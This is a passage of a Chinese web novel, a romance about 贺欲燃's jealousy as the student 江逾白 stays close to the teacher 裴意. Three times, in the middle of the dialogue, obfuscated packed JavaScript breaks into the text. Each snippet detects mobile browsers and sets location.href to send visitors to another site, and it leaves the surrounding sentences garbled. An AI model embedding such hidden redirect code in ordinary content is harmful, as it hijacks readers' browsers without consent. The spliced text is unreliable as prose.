他从没和任何人说过,也根本没人发现过,包括裴意。西餐份量少,味道也不合他胃口,每次吃都是陪朋友,或者是为了跟恋人约会,冲着西餐厅的格调和氛围来的。 他本想以这句话结束这场聊天,车子稳稳停在江逾白家门口,引擎熄火的声音后,他听到江逾白回答。 “我知道。” 江逾白说,过了两秒,他抬眼望向贺欲燃,又把那袋系的紧紧的鱼丸往前送,像是在奉献出什么珍贵的东西:“要吃吗?” 但他问完就有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848850|191438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后悔了。 “不用。”是跟刚刚在店里一样的语气,冷的很透彻,似乎在苛责他的越界。 “好。”江逾白把那袋炸鱼丸第二次踹进衣兜,缓慢的靠到了椅背上。 贺欲燃看着他落下来的眉梢,不知为何,总觉得他像是在失望,也或许他长得就阴郁,望着他的眼睛,总觉得那里面可能随时都会下雨。 他想了想,还是笑了一下:“谢谢,小白。你下车吧。” “嗯。”江逾白感觉嘴唇有些干,他舔了舔,开门下车。 雨后泥泞的小路,布满了脏污的水坑,被轮胎激起,全部落到了干净的车身。 江逾白从愈来愈远的车影收回目光,懊恼的低下了头。 —— 裴意实习期快到了,最后几天都在忙着收拾东西搬回家,所以这几天贺欲燃一直都过来接他。 车窗外,江逾白和裴意正有说有笑一起从大门出来,两人手里都拿着不少东西,应该是裴意要带回去的文件。 贺欲燃感慨,果然还是每天见面的人接触机会多啊。 最近的几天,几乎每次来接裴意,他身边必然有江逾白的身影,不是一块出校门帮他送东西,就是跟裴意一块儿吃饭。 他像个固定时间固定地点就会出现的npc,还是裴意专属的那种。 印象最深的,大概是前天,清吧工作不太忙,贺欲燃闲着待不住,正巧赶上裴意下班时间,他驱车就到了八中门口。 裴意看到他的时候相当的意外,把他上上下下打量了一遍:“你怎么来啦?” 本身见到喜欢的人确实是一件值得开心的事,但这时候如果旁边还站着个人就不一定了。 贺欲燃从江逾白身上移开目光,也挺意外的:“找你吃饭啊,怎么了,我不能来吗?” “哎呀不是,你来应该跟我说一声的啊。” 这俩人就差手挽着手走出来了,贺欲燃挑挑眉,猜了个八九不离十:“怎么,你们约了?” 裴意踌躇不决不知该如何处理,毕竟今天跟江逾白刚约好,贺欲燃又大老远跑过来接他,确实是不知道该拒绝哪一个。 “要不……一起吧?”他磕磕绊绊的说。 贺欲燃等了半天,等到这么一句,倒也不算多意外,这种谁也不得罪的事确实是裴意会干得出来的。 “没关系,裴老师。”一直在旁边站着的江逾白开口了:“你们先吧,我改天,我什么时候都有时间。” 他话音还没落下,就被裴意一票否决:“别啊别啊,你都定好饭店了,哎呀你们谁都别走了,又不是没一起吃过饭,大家都是朋友一起吃嘛。” 谁要跟他一起吃饭,很熟吗?? 贺欲燃后半句噎在嗓子眼,想说“算了我走”,但又不甘心放裴意跟他在一块。 还不如不来了,眼不见心不烦。 江逾白也是有点犹豫:“但是……” “别但是了啊,今天我请我请,你改天再说嘛。”裴意推着江逾白往车边走,还不忘转头数落他。 “你下次来提前跟我打声招呼听到没?” 贺欲燃耸耸肩,吊儿郎当的谄媚道:“没办法,下午的时候太想你了,来不及跟你说就到地方了。” 裴意被他突如其来的一句话搞的不好意思:“那你以后别想我。” 贺欲燃挤挤眉,眼稍落的几分犹怜:“啊?那我会死掉的~” “……”裴意白了他一眼,不理他。 贺欲燃气鼓鼓:“你个鲨人犯!” “你……”裴意有时候真觉得他简直就是个男狐狸精。 7. 直觉 正赶饭点,店里坐的满满当当,贺欲燃站在狭窄的过道中间,眼巴巴的看着那张刚刚好坐两个人的小桌子,更加认清自己不如不来的事实。 “不好意思燃哥。”哪壶不开提哪壶,江逾白凑上来:“不知道你要来,所以只预约了两人座。” 贺欲燃:“……” 这话就差直接告诉他,你是多余的。 他真的好想洋装无所谓的说一句没关系,只要我不觉得自己多余,我就不多余。 “没事。”贺欲燃咬着后槽牙,看着江逾白那张人畜无害的脸:“是我今天唐突,扰乱你们计划了。” “没关系。”江逾白摇摇头:“我去找把凳子,应该可以坐的下。” 贺欲燃:“……” 听着那句“没关系”,再看看江逾白那张脸。他有种好想发火但又不知道对方做错了什么的无力感。 江逾白扭头去找空闲的椅子,裴意看出他不太自在,推了推他的胳膊:“主要确实不知道你要来,没事,加把凳子一样的,今天我请客,你不用这么拘束。” 贺欲燃有点挂脸,本来兴冲冲的跑出来找裴意,饭店想好了,甚至还买了两张电影票。 结果又看到那个赖皮虫晃在他左右,自己还成了多余的那个,想想就不爽。 “不想跟你讲话。”贺欲燃说。 裴意只感觉一口大锅天上来:“干嘛不想跟我讲话?” 贺欲燃抱着胳膊不理他,嘴快撅到门口了:“每次找你吃饭都有别人。” “……” 贺欲燃真生气反而是不会明晃晃写脸上的,更不会直白的说出来。 意识到他在闹小情绪,裴意哭笑不得,往他脖子上不轻不重捏了捏:“知道你这段时间接我辛苦啦,对不起嘛。他是我学生,我实习要结束了,之后没准没什么机会见到了,吃两顿饭不是也很正常。” 贺欲燃闷哼了一声,挑歪理:“意思见我就很容易了?” 怎么感觉自己在哄媳妇儿呢?裴意撞撞他的肩,有点不自在:“你干嘛,搞的跟吃我醋了一样。” 贺欲燃理直气壮,他这么一说更窝火:“吃你醋怎么了,谁说朋友不能吃醋的?你老带我跟你这些朋友吃饭,我跟他们又不熟,每次你都跟他们聊的热火朝天,压根不跟我讲话。” 就像前几天跟江逾白吃的那顿饭,其实这种情况也不是第一次了。 “好好好,我也跟你说话,跟你说话。”裴意欲哭无泪,妥协的顺着他。 贺欲燃稍微松口了:“那明天你单独出来跟我吃。” “没问题没问题。”裴意眨眨眼,讨好的说:“保证不带别人哈。” “咣——” 俩人同时一个激灵,直愣愣看向身后的某人。 裴意显然被吓到了,往后退了两步:“我靠你什么时候回来的,吓我一跳。” 江逾白放好凳子:“不好意思,凳子太沉了,没拿住。” 要说他语气诚恳的不像是撒谎,不如说是他那张脸。 单纯无害,说什么都会有人信。 贺欲燃想笑,上下打量了他这过硬的身板:“你力气倒也不像小的。” 江逾白保持着原来诚恳的语气,说:“有点小。” “……”贺欲燃。 鬼信。 三张凳子围在一张小桌子旁边,倒也不算太挤,裴意选了坐旁边靠窗的位置,撂下了背包:“我去上个洗手间,顺便拿几瓶饮料回来,你们喝点什么吗?” “不用,白水就行。”贺欲燃说。 他感觉余光里江逾白似乎看了他一眼,然后跟道:“我也是。” “好,那你们先点菜,不用等我。” 裴意转身走了,贺欲燃顺理成章的扯过正中间挨着裴意的那张凳子,可还没等拽出来,小指先被碰了一下。 目光偏移,落在那只比他宽了一圈的手背上,腕骨明显,稍稍使劲,手背凸起的筋络跳了几下,凳子被他拉了出来。 贺欲燃抬头去看那只手的主人,印上一双浅亮的眸子。 江逾白低着头,微长的刘海遮住眉梢,暗深的眼眸看不出生气,唇线抿成一条薄线,半张脸隐在逆光的阴影里,颇有些阴郁的味道。 就此僵持,那张凳子被两只手同时拽着,却没有一个人先表现出退让。 裴意左边紧挨着窗户,中间的位置正好可以隔开其中两个人,贺欲燃有点意外,正常来讲如果是无心之举,那么江逾白见他这样执意,早就该挪开去找其他位置。 这么有目的性的跟他僵持,再加上刚才摔凳子打断他们说话那一下,分明都不像是无心。 “怎么?”贺欲燃皱了皱眉,询问:“你也要坐这里吗?” 话是这么说,但他手却没松开半分。 几秒后,他感觉自己的小拇指被轻微的蹭了一下,再低下头时,那只手又挪远了。 紧接着,江逾白轻声细语的问:“可以吗?” 贺欲燃笑了:“不可以。” 被拒绝,江逾白的反应不大,只是目光在他脸上扫了一圈,最后又垂到地面。 “逗你的,真信啊。”贺欲燃笑的几分轻薄几分认真,让人摸不出真假:“当然可以。” 周围人声嘈杂,他捏上江逾白的肩膀,凑到与他半寸的距离:“我又不是非要坐在这里。” 头顶的呼吸重了几分,那双眼睛颤了两下,最终从他脸上平移开,像只不分轻重的狗爪子,受到警示后怯懦又不甘的收回。 贺欲燃忽然发现自己很喜欢从江逾白的脸上找猫腻,尽管他无论什么时候都是一个表情。 “你坐嘛,毕竟小裴实习快结束了。”贺欲燃越过他,扯出了最边上的凳子坐下,语气轻松:“你们平时关系这么好,多相处相处也是应该的。万一以后没机会见了呢。” 面前的人到底喜不喜欢裴意,其实他早就有一些了解,十七八岁的男生最藏不住心思,很轻松就能解读过去。 只是人都是这样,一旦知道自己有了假想敌,哪怕心知肚明,也想做点什么去试探。 江逾白坐下来,很平淡的:“嗯。” 挑衅没得到回应,贺欲燃觉得无趣,转头把玩桌子上的小摆件。 “你和裴老师,关系,很好吗?”半响,贺欲燃听到他断断续续的问。 这是个很值得好好思考的问题,因为直接应答下来就太没意思了。 “裴意老师跟你提起过我吗?”贺欲燃扫视着他平淡的侧颜。 听他突然反问,江逾白微微皱眉,回答道:“闲聊的时候,说他有一个很要好的朋友。” “哦……”这一声颇有深意,他腔调带着笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848851|191438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“怎么说的?” “讲过一些你们上学时候的事情。”江逾白微微抬头,瞄了他一眼。 贺欲燃表现出很感兴趣的样子:“那时候见过我吗?” 江逾白低着头,很久才点了点头:“没,也不知道你叫什么。” 他忽然停顿,喉结上下滚了滚,像在压抑什么:“那天你送我回家,才知道,他说的好朋友是你。” 贺欲燃脸上的笑容很深,但又不像是高兴:“那好可惜。” “见到你之前,倒是从没听裴意提起过你。” 贺欲燃挑挑眉,很期待接下来他的反应。 这已经算是一种很刻薄的试探了,如果江逾白真的对裴意有心思,接下来他就不可能沉得住气不去反击,所以哪怕是一个眼神不对,贺欲燃都能察觉到。 “其实。”江逾白抿了抿唇,忽然说:“我不是非要挨着裴老师。” 没头没尾,像是反射弧太长的一句回复,贺欲燃有些恍惚:“什么?” 江逾白捏着手里的空杯子,透亮的杯身折射出他那张毫无表情的脸。 “没什么。” 他低头不答了,静默许久,又忽然转头:“燃哥,可以问你个问题么。” 江逾白没跟贺欲燃这么说过话,就像是款一成不变的游戏,突然被触发了新剧情一样。 “可以啊,问。” 江逾白放下手中的空杯子,杯身向一边扭动,也倒映出贺欲燃的脸。 “你很相信自己的直觉吗?” 完全摸不着头脑的问题,贺欲燃皱了皱眉:“怎么忽然问这个?” “没。”江逾白又撇下眼,摇摇头:“只是身边朋友都在讨论这种东西,随便和你聊聊。” 但贺欲燃并不打算跟他闲聊,他随口回答:“挺相信的,我直觉一向很准。” “准在什么地方?”江逾白又问。 贺欲燃还真仔细想了一下,片刻后,他笑了笑:“看人。” 江逾白再次看过来,幽深的眸子涌动着晦暗不明的意味:“那你直觉,我是什么样的人。” “挺聪明的。”贺欲燃嗤笑,靠回椅背,模棱两可答:“只是不太会隐藏自己的心思。” 暗指意味已经很明显了,他有些期待江逾白会给出什么样的回答,是掩饰,还是逃避,或者是直接承认。 “有吗?”江逾白脸上看不出情绪,眼里却融着不明显的笑意:“燃哥有在观察我么?” 贺欲燃蹙眉,这人是真的很奇怪。被人拆穿第一反应并不是遮掩,也不是尴尬,而是先问别人有没有在观察自己。 他摸不透江逾白到底是个什么样的人,也不是很想了解,毕竟裴意实习期马上就要结束,在他眼里,江逾白出现也不过只是一个小插曲而已,即使再突然,再高昂,也很快就会播到尾声。 “想太多了。”贺欲燃偏过头:“有些事不用观察也看得出来。” “嗯。” 江逾白表示认同,气氛安静片刻,他又忽然出声:“想过自己的直觉有一天会不准吗?” 贺欲燃不想再跟他拉扯,去分析他句子里的意思,冷哼道:“对你,应该挺准的。” 旁边的人没再说话了,周身安静下来,他能感觉到江逾白转头了,目光深深的落在他侧脸。 “希望如此。” 8. 巧克力 这之后,基本上每一次,贺欲燃在旁边都充当花瓶的角色,一顿饭下来他根本插不进几句话,只能在一旁看两个人聊的火热。 裴意晚上要回去准备国考,没什么时间和他在外面闲逛,所以吃完这三个人的饭局之后,贺欲燃的挽留基本都不奏效,只好送他回家。 本以为是进度条最快的一部分,却被某些人横插一脚的拖慢了。 贺欲燃在车里远远的望着两人勾肩搭背的身影,那张明明长的厌世又冷漠的脸,笑起来却是格外的单纯无害。 他抬手摇下车窗:“小裴,这里。” 裴意听到呼唤,抬头看过去,朝他热情的晃晃手:“今天来这么早啊?” 贺欲燃下了车,踱步走过来:“不忙,在店里待着也是待着。” 最近天不冷,他只穿了一件干净的宽松毛衣,搭配上一条痞酷的黑色破洞裤,风格碰撞却不显突兀,可能是那张妖孽到雌雄难辨的脸,能很好的将柔美和锋利融洽,渲染出一身独特的气质。 只是一段路,周围十七八岁少女的惊呼声就接连不断。 “我靠这谁啊?是不是明星啊?” “妈呀什么时候空降的?!内娱终于有救了!” “你俩傻了吧,什么明星能来咱这小破学校门口啊,还一点遮掩都不做。” “哦对哦,但他超级帅啊!真的不是吗!” “上海不缺帅哥,但这么帅的我第一次见……” 身边此起彼伏的声音和聚焦的目光越来越多,他从容的穿梭过形形色色的人群,最后站定到两人面前,接过裴意手里的文件夹:“走吧。” 做为i人的裴意只感觉自己无地自容:“你下次还是别下车了,太引人注目了,万一八中论坛被你炸了,我明天不得被一堆人扒着问,搞得我都有压力了。” 贺欲燃噗嗤一声笑了:“小白也帅啊,你没压力?”他尾音上挑,给人一种轻浮的味道。 江逾白猝不及防被他撩拨的目光灼了一下。 贺欲燃也只是顺嘴打趣,挑逗和犯贱都成了他的习惯了,他也没准备听江逾白回答什么。 但很快,他听到江逾白一字一句的来了个:“燃哥更好看。”然后他又补充:“我要是女孩子的话,也会很喜欢你。” “?” 谁要你喜欢? 贺欲燃复杂的目光在江逾白脸上停留了两秒,然后轻笑着转开了。 “今天不一起吃饭么?”他故作镇定的问。 江逾白摇摇头:“今天还有事,就不麻烦裴老师和燃哥了。” 一大摞书放到后备箱,贺欲燃就进了车,稍微等了一会儿也没见裴意上来,他透过车窗往外看。 两个人面对着面,江逾白从书包里掏出一个铁盒子,离得很近,贺欲燃能看清他手里的东西,那是一盒精装的巧克力。 “裴老师,刚才忘给你了。”江逾白把巧克力递过去,嘴角带着淡淡的笑意:“这段时间,谢谢你的照顾。” 裴意还有些受宠若惊:“诶,不用的小白,我做老师应该的,你太客气了。” 江逾白强硬着把巧克力塞过去,故作为难的说:“买都买了,不拿着很可惜。” 裴意僵硬了一会儿,还是接了过去,语重心长道:“有这钱不如自己吃顿好的,不要给我破费。” 江逾白不擅长说这些好听的话,以至于需要时间酝酿,活像一个跟喜欢的人表白但又羞于出口的纯情男高。 啊不对,他明明就是。 贺欲燃在车里看着,忽然想起自己像他这么大的时候,别说给喜欢的人送巧克力了,他连男生女生的手都没碰过,整天埋头就是死学。 但面前这个看起来像个真正的书呆子的江逾白,竟然还会为了喜欢的人跟情敌耍小心眼。 他有点想笑,真是年代不同了,现在的小孩多多少少都早熟,不知道自己家那个不省心的弟弟有没有跟他一样,在喜欢的小姑娘面前送礼物献殷勤。 他没有想打断的想法,懒洋洋的靠着椅背继续听。 “不会,您请我吃过那么多次饭,我这点太算不上什么了。”江逾白笑的温润,颇有一副别人家孩子彬彬有礼的模样:“更何况你还答应给我补课的事。” “……”贺欲燃终于笑不出来了。 “那有什么,反正我在家备考闷的很,出来给你补课也算是放松一下嘛。” 没听错,江逾白说的是补课,而且裴意还答应了。 这些天贺欲燃得来不易的二人世界被江逾白横插一脚打散,但看他也不过是耍耍小伎俩,争争存在感,所以压根也没想计较。 但他居然还要裴意给他补习功课?去哪里?裴意家吗?还是带裴意去他家? 那这证明以后还能看见这小孩跟在裴意屁股后面?整天听着他“小裴哥小裴哥”“小裴老师小裴老师”? 莫名有种别人在自己眼皮子底下把他家给偷了的感觉。 甩都甩不掉的心机男给老子拱啊啊啊! “裴意,好了没,上车了。”贺欲燃按下车窗,不浓不淡的撂下一句。 “哦,来啦!”裴意笑着晃晃手里的巧克力:“那我先走咯,你早点回家。” “嗯。” 江逾白看着裴意转身离开,目光跳跃了一段距离,直对上贺欲燃的眼睛。 贺欲燃显然已经盯他许久了,那不是一个正常或者是友好的目光,相比之前他藏在银丝细线里的锋利,这次可谓是毫不掩饰的刻薄。 可江逾白只是静静的与他对视,不知是没看出来他眼神里的用意,还是故意装傻。 僵持了几秒,他忽然动了,在贺欲燃越来越警惕的眼神中走近,最后弯腰凑到车窗边。 贺欲燃不知道他要干嘛,下意识往后躲。 江逾白从包里翻出另一盒巧克力递了进去,声音突然轻了许多:“燃哥,这是你的。” 贺欲燃盯着那盒精致的巧克力,怀疑的神色停留了几秒,又展开笑颜。 “哦,是吗?谢谢小白,没想到还有我的。” 是啊,还是情人节冬日限定款,别太明显点了。 估摸着是为了送裴意所以拿他掩人耳目吧,真是辛苦他的。 “回去吧小白,今天麻烦你了。”裴意说。 江逾白没回答裴意的话,而是瞄了一眼贺欲燃:“路上小心。” 车子开动,贺欲燃看着后视镜里还迟迟不肯离开的江逾白,笑出声来:“这学生挺喜欢你的,一直跟在你身后忙来忙去的。” 跟个甩不掉的跟屁虫一样。 “哈哈哈,我们关系比较好嘛。”裴意读不懂他话里的意思,倒是打开了话匣子:“我跟你讲,他英语底子超好的,但是一直都没遇到好老师,我来了之后他成绩又提升了二十多分。” 裴意的小自豪写在脸上,洋洋得意的模样实在可爱。 贺欲燃跟哄小孩子似的:“那还不是我们小裴老师教得好。” 听他拍的彩虹屁,裴意却乐不起来,挎着脸说:“那也是人家脑子好使,我教了这么久,除了他啊,一个班都拿不出几个像样的。” 贺欲燃顺藤摸瓜的问:“你好像也挺关注他的。” “嗯,他英语一百多分,八中难得的好苗子,也经常找我问题,慢慢就熟了。” 裴意说完,想起什么一拍大腿:“哦对了,差点忘记跟你说,下周开始我准备给小白补课呢,反正在家考公无聊的很,每周六还能出来转两圈儿。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848852|191438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯,刚才你们聊天听到了。”贺欲燃语气很平稳,但车子拐的比以往要急:“他提的么?” “算是吧,但他让八中的教学方式影响挺深的,学习方法不是太对。我马上就要走了,有点放心不下他。他就提了可不可以帮他补课。”裴意说到这,笑出来:“这孩子挺好玩儿的,非说要按照教培的价格付钱,我不要就不补了,我说让他请我吃几顿饭就行了,而且我又不是什么资深老师,哪能乱要钱。” 贺欲燃思绪有点乱,他本来想着,就算江逾白喜欢裴意也不过是小孩子三分钟热度,而且裴意实习期也要结束了,江逾白再怎样也威胁不到自己。更何况,在贺欲燃眼里,他就是个孩子。 “他想补英语出去找教培不行?非要找你?”贺欲燃提出疑问。 “他家里条件不是很好嘛。他在外做兼职的。”裴意的眼里带着浓浓的心疼:“家里总是没人,爸妈好像也没时间管他,我听其他同学说的,他经常中午自己一个人啃面包吃。所以这段时间才请他吃饭。” 贺欲燃不知怎么反驳,想起那天药店的偶遇,兼职,家庭条件不好,说得通。 但就是说的太通,贺欲燃才觉得不对。 他不好把醋意挂脸上,更可况事已至此,他再劝倒显得小心眼了。 “真是羡慕啊……”画风一转,贺欲燃就贱兮兮的冲他邹起鼻子,摆出一副谄媚样:“唉,高中那会儿要是碰到你这样的老师就好了,我肯定爱上你的课。” “少来啊,那我肯定最讨厌你这种贱嗖嗖的学生。”裴意翻了个白眼。 贺欲燃一手开车,笑容都显得吊儿郎当了:“诶,这哪的话,我高中的时候可是好学生。” 裴意“啧啧”道:“谁信,一看你就是给老师起外号那挂的。” “真的,我不骗人的,我那时候可乖了。”贺欲燃凑近他:“比小白还乖。” 裴意有点被他骗到:“真的假的。” “真的呀。”贺欲燃冲他眨眨眼,眸子里亮晶晶的,笑得跟花似的:“你要是我的老师,肯定会很喜欢我的。” 裴意不说话了,脸稍许有些红,但他分不清是出于什么:“谁要喜欢你,贱的要死。开你的车吧。” 当直男开始对你脸红,就证明已经刷出好感度了,至少贺欲燃这么觉得。 他笑了笑,没再继续逗他:“不闹了,去哪里给他补课?他家?” “他家不是很方便,但我家又有点远,更何况我外婆在家里养病,所以还在商量。”裴意纠结的说。 “唉,好吧好吧。”贺欲燃吊胃口的惋惜道。 裴意如他愿上钩,问:“好吧什么?” “没什么啊。”贺欲燃无所谓耸耸肩:“只是想到某人被一盒巧克力收买,就觉得他傻的很纯真。” 裴意这种善良纯真的人,谁对他好一点,他就加倍还给人家,被人喜欢和被人骗全是家常便饭的事。 “什么意思,说我傻!”裴意拍案坐起,要不是贺欲燃还开车,他肯定是要扑上去的:“再说了什么叫收买,这叫情分,情谊!” “啊好好好。”贺欲燃及时扑火,哄着他说:“我们小裴老师最重情义啦。” 裴意想发火发不出来了,贺欲燃总是这样,开玩笑把他气的半死,再服软把他往回哄,让人想骂舍不得,想笑又憋气。 “我现在真想抢了你的方向盘跟你同归于尽。”裴意黑脸。 裴意很少说这么有攻击力的话,起码他没见裴意跟别人有过。 “太俗了吧裴老师,这年头还搞殉情啊。”贺欲燃挑着眉,笑的更开怀了:“要不改天呢?今天好不容易能单独约你出来,我还不是很想死。” “……”裴意。 9. 我不喜欢女人 江逾白攥着书包带,一直等到车子不见踪影,他才转身往学校里走。 “江逾白!”一个留着鲻鱼头的女生蹦蹦哒哒跑过来,一把搂过江逾白的脖子,嘴里还叼着根烟,痞里痞气的笑道:“刚才那个扎着小辫子的大帅比,你认识啊?” 江逾白踉跄了一下,然后推开她的手:“你一个女生能不能别这么没分寸感。” 女生看着他一脸正直凝重,抿着嘴憋笑了半天,终于哈哈大笑起来:“你能不能别用这么正义凛然的表情啊,我都要笑死了。”她用嘴角抿住烟,眯着眼睛吸了一口:“我他妈又不喜欢男的,再说了,就算我喜欢,像你这种死板男我也没感觉好吗?” 江逾白撩起眼皮不屑的看着她:“是好事。”他说着往校门里走。 “干嘛去,今天周五没晚自习诶,不回家吗?你那个死爹又把你钥匙拿走了?”女生徒手掐灭了烟,挑眉问他。 江逾白“嗯”了一声:“我在教室待一会儿,晚上他就回来了。” “草,要我说你就得揍他,揍服了就好了。” “再不然,你也把他钥匙藏起来,让他跟个傻逼一样站街上他就老实了。” “不行,万一他来学校作你就完了,不行不行。” 好想短暂性耳聋,江逾白淡淡的撇了她一眼:“别吵了。” 祁朝念一愣,半句话噎在嘴里没说出来。 “靠!”她生气的推了江逾白一下,没推动,有点尴尬。她给自己找台阶下:“除了我谁跟你玩儿啊,还说我吵。” “你等等我啊,你刚在那个小辫子帅哥面前笑的那么开心,一跟我就摆臭脸是吧!” 祁朝念陪着他在教室里坐了一会,直到困了她才看着一直在做卷子的江逾白感慨道:“我跟你们学霸真熬不起。”然后自己走了。 祁朝念走后,他又坐了不知多久,才动了动酸硬的身子。外面天色已暗,只剩下日落后残留的一抹嫣红,学校里安静的出奇。 他把手机打开,点开微信置顶,映入眼帘的是一大片绿色信息框。 〈妈,吃饭了吗?在哪〉 〈妈,我爸不给我钥匙,我进不去家,你知道哪里有备用钥匙吗?〉 〈妈,钱够不够花,我前两天兼职的钱你怎么没接呢?〉 一条条没有回复的消息绿的扎眼。 江逾白胡乱的翻了两下,然后将斟酌了很久的信息发了出去。 〈妈,最近还好么?〉 他知道不会回复的,于是他关了手机,望着窗外天边仅剩的霞光已然消逝,只剩下一望无际的黑色。 - 今年上海的冬天没下雪,取而代之的是连延不断的雨天。天空像是被调低了饱和度,总是漫着淡淡的灰蓝。 窗外淅淅沥沥的雨声混杂着车内舒缓的音乐,一阵惬意自由的感觉,贺欲燃很喜欢在这样的天气开车,看着道边忙忙碌碌的行人,最后停在自己开的清吧。 这是让他感觉幸福的事。 “燃哥,你这巧克力挺好吃的啊,在哪买的?”王康又剥了一颗巧克力塞进嘴里:“还是夹心的,好吃。” 贺欲燃忙着调酒,没看他:“送的。” 王康仔细端详了一下手里这个爱心形的巧克力:“这是哪个小男生小女生送你的吧?” 贺欲燃回忆了一下江逾白那张干净的脸,低头笑了一声:“嗯。” “喜欢你吧?”王康说。 “你又哪得出的结论啊。”贺欲燃白了他一眼,心说某人不讨厌自己都不错了,还喜欢。 “这情人节限定款啊,更何况了,你看看这巧克力。”他把那盒巧克力推过去:“啧啧啧,还是心形的,绝逼喜欢你。” 贺欲燃轻笑:“好吃你就多吃,都是你的。” “跟我说说,什么样儿的,好看不?”王康八卦之心燃烧:“怎么追的你?” 贺欲燃回想起这几天无论裴意在哪,江逾白就在哪。 冷笑了一声:“穷追不舍。” 王康佩服的比了个大拇指:“燃哥魅力不减!” 贺欲燃没理他,一手拿着酒杯,另一只手洒进两片柠檬,打碎,摇晃,然后稳定的落在桌面,打开杯盖,一层绵密的泡沫漾了出来,顺着他修长的指尖流落下来。 手机铃声忽然震动,他放下酒杯去摸手机,来电显示的是小裴。 按下接听,贺欲燃就不自觉笑起来,望着窗外的阴雨绵绵,撩拨道:“是谁想我啦?” 那边安静了三秒。 “我是江逾白。” 见鬼了。 贺欲燃僵了一下,尽量让自己的声音听起不那么尴尬:“哦。小裴呢?” “小裴老师喝多了,现在情况不是很好,一直在吐,我不知道他家里的地址,所以只好给你……” “位置。”贺欲燃干净利落的扔下两个字。 今天是裴意实习的最后一天,早上裴意打过他电话,说几个学生非要拉着他今天聚一聚,给他开个欢送会,但裴意酒品不好,上次在自己清吧他拿了个度数最低的果酒,裴意也不过三杯就倒了,还拉着他说一些胡话。早知道该叮嘱他少喝一点。 车子行驶到一家中餐厅,贺欲燃根据江逾白说的包厢去找了一圈都没看到人,又转身去找洗手间,冲的太急没看清,开门就撞上一个坚硬的东西。 脚下没站稳,贺欲燃整个人往后栽下去。登时,温热的手掌抓住他的手腕,稍用力,他又被拉回原地。 一股清新脱俗的青柠香窜入鼻腔,他抬头,对上江逾白那双浅棕色眼眸。 “小心。”他轻轻开口。 很奇怪,他总觉得江逾白这样低头看自己的时候,那双眼睛他似乎见过,恍惚间一次次和脑海中某个模糊的画面重合,但他就是想不起来。 贺欲燃抽神,揉了揉额头,心想这孩子的下巴是真硬。问道:“小裴呢?” “在里面,我去帮他拿包。”江逾白交代道。 贺欲燃懒得回答什么,开门进了洗手间。 裴意还在吐,双手扶着洗手台边缘摇摇欲坠。贺欲燃急忙扶住,担心的说:“感觉怎么样,还哪里不舒服?” 裴意喝的双颊红晕,眼睛半睁开,显然喝得已经不省人事了。 “欲燃啊!你怎么来啦?”裴意里倒歪斜的,乐的跟傻子一样。 贺欲燃皱眉,忍不住埋怨:“我不来你就睡路边吧。” “嘿嘿。” “为什么喝这么多,自己酒品不好不知道吗?” “我开心啊,今天这些孩子们可是我教师生涯里第一批学生!意义何其重大!” 门开了,江逾白拿着包回来。 裴意神志不清的东扯西扯,贺欲燃懒得听,边拍着他的背边问:“其他的学生都走了?” “嗯,我让他们都回去了,我留下来照顾裴老师。”江逾白如实回答。 贺欲燃撇了他一眼,咀嚼着他嘴里的“照顾”两个字。 “你也可以走了,他交给我就行了。”他冷道。 江逾白沉默了两秒,伸手揽过裴意的一只胳膊:“我和你一起吧,到外面还有很长一段距离。” 还真是穷追不舍啊。 贺欲燃也不打算再跟他装什么知心大哥哥,直接无情的拍开那只手:“不劳烦江同学了。” 他往日眼中澄澈的温和此时早已被一股难以遏制的占有欲取代,像一只维护自己领地的雄狮,浑身散发出一种生人勿近的气息。 江逾白呆愣在原地,似乎不明白贺欲燃忽然冷下来的脸。 贺欲燃拉过裴意,他现在像一只提线木偶,被两个人甩来甩去的,有点滑稽。 谁知还没走两步,裴意脚下一滑,整个人倒在了贺欲燃怀里,挣扎两下,然后索性直接挂在贺欲燃身上不动了。两个人以一种诡异的姿势抱在了一起。 “诶!你别在我身上睡啊。” “还是我来吧。”江逾白三两步走过去,扯下裴意环在贺欲燃脖子上的那双手。 动作太快了,反应过来的时候,裴意已经倒在他怀里了。 贺欲燃:“?” 看着自己喜欢的人倒在别人怀里,自己却只能默默跟在身后的滋味确实不好受。 终于在江逾白打开车门时,贺欲燃先他一步,扒住了车沿。 “小裴老师之后就不麻烦你了。谢谢你的照顾。”他语气中的不满已经懒得藏,张开手,示意他将人送过来。 江逾白犹豫了一下,把人送到贺欲燃怀里:“好,那您路上小心。” 贺欲燃把困的魂不守舍的裴意送进后座,伸手拿下座椅后面的毯子细心的盖在他身上。开门下车回到驾驶位,却发现江逾白在路边孤零零的站着。 他东张西望着,应该是想打车。贺欲燃举起手腕看表,这个点正好赶上晚高峰,打车不是很好打,他提醒了一句:“打 